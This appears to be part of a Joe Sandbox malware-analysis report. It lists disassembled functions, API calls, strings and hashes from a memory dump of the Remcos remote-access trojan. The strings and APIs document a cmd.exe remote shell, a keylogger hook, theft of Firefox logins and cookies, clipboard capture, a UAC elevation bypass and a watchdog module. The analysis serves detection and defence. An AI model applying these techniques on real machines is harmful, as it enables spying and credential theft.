                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 00405723
                                                                                                                              • CreatePipe.KERNEL32(00476CCC,00476CB4,00476BD8,00000000,004660BC,00000000), ref: 004057B6
                                                                                                                              • CreatePipe.KERNEL32(00476CB8,00476CD4,00476BD8,00000000), ref: 004057CC
                                                                                                                              • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00476BE8,00476CBC), ref: 0040583F
                                                                                                                              • Sleep.KERNEL32(0000012C,00000093,?), ref: 00405897
                                                                                                                              • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004058BC
                                                                                                                              • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 004058E9
                                                                                                                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                                                              • WriteFile.KERNEL32(00000000,00000000,?,00000000,00474F90,004660C0,00000062,004660A4), ref: 004059E4
                                                                                                                              • Sleep.KERNEL32(00000064,00000062,004660A4), ref: 004059FE
                                                                                                                              • TerminateProcess.KERNEL32(00000000), ref: 00405A17
                                                                                                                              • CloseHandle.KERNEL32 ref: 00405A23
                                                                                                                              • CloseHandle.KERNEL32 ref: 00405A2B
                                                                                                                              • CloseHandle.KERNEL32 ref: 00405A3D
                                                                                                                              • CloseHandle.KERNEL32 ref: 00405A45
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
                                                                                                                              • String ID: 0lG$0lG$0lG$0lG$0lG$SystemDrive$cmd.exe$kG
                                                                                                                              • API String ID: 2994406822-18413064
                                                                                                                              • Opcode ID: 9fdb2614b32db6a8ce990b4168d70707e98bdb19d6332ad615b030cef840106b
                                                                                                                              • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                                                                                                                              • Opcode Fuzzy Hash: 9fdb2614b32db6a8ce990b4168d70707e98bdb19d6332ad615b030cef840106b
                                                                                                                              • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                                                                                                                              Function 00412117 Relevance: 28.2, APIs: 6, Strings: 10, Instructions: 227threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                                                                                                                • Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138A0
                                                                                                                                • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138AB
                                                                                                                              • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 00412146
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00412155
                                                                                                                              • CreateThread.KERNEL32(00000000,00000000,Function_000127EE,00000000,00000000,00000000), ref: 004121AB
                                                                                                                              • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCreateOpen$HandleMutexProcessThreadValue
                                                                                                                              • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                                                                                                                              • API String ID: 261377708-13974260
                                                                                                                              • Opcode ID: 390b1a02c75fda0ce3305a4ad7333e335e8ad420acfc0a8a1f0d56aaabd3b728
                                                                                                                              • Instruction ID: 5044532447ce4e70f722e285ad7bc5f912dfeea71c25201e33dbc8cc77036b6f
                                                                                                                              • Opcode Fuzzy Hash: 390b1a02c75fda0ce3305a4ad7333e335e8ad420acfc0a8a1f0d56aaabd3b728
                                                                                                                              • Instruction Fuzzy Hash: 8171823160430167C618FB72CD579AE73A4AED0308F50057FF546A61E2FFBC9949C69A
                                                                                                                              Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040BBC9
                                                                                                                              • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040BD12
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$CloseFile$FirstNext
                                                                                                                              • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                                                                                                                              • API String ID: 1164774033-3681987949
                                                                                                                              • Opcode ID: cc2b906fffab3f5d65509244bf78c58c3969fa81e43ac990ef7529a7089f2592
                                                                                                                              • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                                                                                                                              • Opcode Fuzzy Hash: cc2b906fffab3f5d65509244bf78c58c3969fa81e43ac990ef7529a7089f2592
                                                                                                                              • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                                                                                                                              Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenClipboard.USER32 ref: 004168C2
                                                                                                                              • EmptyClipboard.USER32 ref: 004168D0
                                                                                                                              • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                                                                                                                              • GlobalLock.KERNEL32(00000000), ref: 004168F9
                                                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                                                                                                                              • SetClipboardData.USER32(0000000D,00000000), ref: 00416938
                                                                                                                              • CloseClipboard.USER32 ref: 00416955
                                                                                                                              • OpenClipboard.USER32 ref: 0041695C
                                                                                                                              • GetClipboardData.USER32(0000000D), ref: 0041696C
                                                                                                                              • GlobalLock.KERNEL32(00000000), ref: 00416975
                                                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                                                                                                              • CloseClipboard.USER32 ref: 00416984
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                                                                                                                              • String ID: !D@
                                                                                                                              • API String ID: 3520204547-604454484
                                                                                                                              • Opcode ID: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
                                                                                                                              • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                                                                                                                              • Opcode Fuzzy Hash: 3da19db2da9e38382dfa1a35b9112d29995025b8f82a0e1631b12ced5ccb0bf8
                                                                                                                              • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                                                                                                                              Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040BDC9
                                                                                                                              • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040BEAF
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040BED0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$Close$File$FirstNext
                                                                                                                              • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                                                              • API String ID: 3527384056-432212279
                                                                                                                              • Opcode ID: 10bf6c217e0b25296ff8c4f6571a9877a80f89d81c2766d0b614c08461d6f91f
                                                                                                                              • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                                                                                                                              • Opcode Fuzzy Hash: 10bf6c217e0b25296ff8c4f6571a9877a80f89d81c2766d0b614c08461d6f91f
                                                                                                                              • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                                                                                                                              Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                                                                                                                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00475338), ref: 0040F4B9
                                                                                                                              • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                                                                                                                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00000000,?,?,00475338), ref: 0040F563
                                                                                                                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                                                                                                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,00475338), ref: 0040F66E
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                                                                                                                              • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                                                                                                                              • API String ID: 3756808967-1743721670
                                                                                                                              • Opcode ID: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
                                                                                                                              • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                                                                                                                              • Opcode Fuzzy Hash: b1e1f41d80490b315896909958d9242b500036c9ac5089c02299af30cc885f9c
                                                                                                                              • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                                                                                                                              Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: 0$1$2$3$4$5$6$7$VG
                                                                                                                              • API String ID: 0-1861860590
                                                                                                                              • Opcode ID: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
                                                                                                                              • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                                                                                                                              • Opcode Fuzzy Hash: b5a7de883cd012ce8913fa8e37131401e824a11eb2676ecb59610ee39723a0e8
                                                                                                                              • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                                                                                                                              Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _wcslen.LIBCMT ref: 00407521
                                                                                                                              • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Object_wcslen
                                                                                                                              • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                                                                                                                              • API String ID: 240030777-3166923314
                                                                                                                              • Opcode ID: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
                                                                                                                              • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                                                                                                                              • Opcode Fuzzy Hash: a3f0521951bb9342bb967e70cc438d07290dcccf7f3efa3b8b817ec6fb2293fa
                                                                                                                              • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                                                                                                                              Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                                                                                                                              • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                                                                                                                              • GetLastError.KERNEL32 ref: 0041A7BB
                                                                                                                              • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: EnumServicesStatus$ErrorLastManagerOpen
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3587775597-0
                                                                                                                              • Opcode ID: 23e486b81d5319d6976a5705641320cfcad202a7a3e49a3714ee4dfbb4f6799a
                                                                                                                              • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                                                                                                                              • Opcode Fuzzy Hash: 23e486b81d5319d6976a5705641320cfcad202a7a3e49a3714ee4dfbb4f6799a
                                                                                                                              • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                                                                                                                              Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040C47D
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 0040C4A8
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$CloseFile$FirstNext
                                                                                                                              • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                                                                                                                              • API String ID: 1164774033-405221262
                                                                                                                              • Opcode ID: b4ce1130c63f91c9a7bb924499f2ab22045580026bc8e52ab8eb9ef944069cc1
                                                                                                                              • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                                                                                                                              • Opcode Fuzzy Hash: b4ce1130c63f91c9a7bb924499f2ab22045580026bc8e52ab8eb9ef944069cc1
                                                                                                                              • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                                                                                                                              Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00474EE0,?), ref: 0041C2EC
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,00474EE0,?), ref: 0041C31C
                                                                                                                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,00474EE0,?), ref: 0041C38E
                                                                                                                              • DeleteFileW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C39B
                                                                                                                                • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,00474EE0,?), ref: 0041C371
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,00474EE0,?), ref: 0041C3BC
                                                                                                                              • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D2
                                                                                                                              • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3D9
                                                                                                                              • FindClose.KERNEL32(00000000,?,?,?,?,?,00474EE0,?), ref: 0041C3E2
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2341273852-0
                                                                                                                              • Opcode ID: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
                                                                                                                              • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                                                                                                                              • Opcode Fuzzy Hash: 5daa9100e03deb39a4691b7b17906df9641a5acb862147602035c05749f1dd0e
                                                                                                                              • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                                                                                                                              Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                                                                                                                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Find$CreateFirstNext
                                                                                                                              • String ID: 8SG$PXG$PXG$NG$PG
                                                                                                                              • API String ID: 341183262-3812160132
                                                                                                                              • Opcode ID: 51c1bc0efb57238df8f343c385f4ca69313514bd3b1d4432c3fe4bb7cf6149f9
                                                                                                                              • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                                                                                                                              • Opcode Fuzzy Hash: 51c1bc0efb57238df8f343c385f4ca69313514bd3b1d4432c3fe4bb7cf6149f9
                                                                                                                              • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                                                                                                                              Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                                                                                                                              • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                                                                                                                              • GetLastError.KERNEL32 ref: 0040A2ED
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040A33B
                                                                                                                              • TranslateMessage.USER32(?), ref: 0040A34A
                                                                                                                              • DispatchMessageA.USER32(?), ref: 0040A355
                                                                                                                              Strings
                                                                                                                              • Keylogger initialization failure: error , xrefs: 0040A301
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                                                              • String ID: Keylogger initialization failure: error
                                                                                                                              • API String ID: 3219506041-952744263
                                                                                                                              • Opcode ID: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
                                                                                                                              • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                                                                                                                              • Opcode Fuzzy Hash: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
                                                                                                                              • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                                                                                                                              Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetForegroundWindow.USER32 ref: 0040A416
                                                                                                                              • GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                                                                                                              • GetKeyboardLayout.USER32(00000000), ref: 0040A429
                                                                                                                              • GetKeyState.USER32(00000010), ref: 0040A433
                                                                                                                              • GetKeyboardState.USER32(?), ref: 0040A43E
                                                                                                                              • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A461
                                                                                                                              • ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4C1
                                                                                                                              • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A4FA
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1888522110-0
                                                                                                                              • Opcode ID: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
                                                                                                                              • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                                                                                                                              • Opcode Fuzzy Hash: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
                                                                                                                              • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                                                                                                                              Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 0041409D
                                                                                                                              • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004140A9
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 0041426A
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 00414271
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressCloseCreateLibraryLoadProcsend
                                                                                                                              • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                                                              • API String ID: 2127411465-314212984
                                                                                                                              • Opcode ID: 16d4d9f7d8e9d2946c9e71bc9a9cf1ed37fbcb6207445c9ca6b4d79b5acfd54f
                                                                                                                              • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                                                                                                                              • Opcode Fuzzy Hash: 16d4d9f7d8e9d2946c9e71bc9a9cf1ed37fbcb6207445c9ca6b4d79b5acfd54f
                                                                                                                              • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                                                                                                                              Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                                                                                                                • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                                                                                                                • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                                                                                                                • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                                                                                                                • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                                                                                                                              • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                                                                                                                              • LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 0041686B
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 00416872
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                                                                                              • String ID: !D@$PowrProf.dll$SetSuspendState
                                                                                                                              • API String ID: 1589313981-2876530381
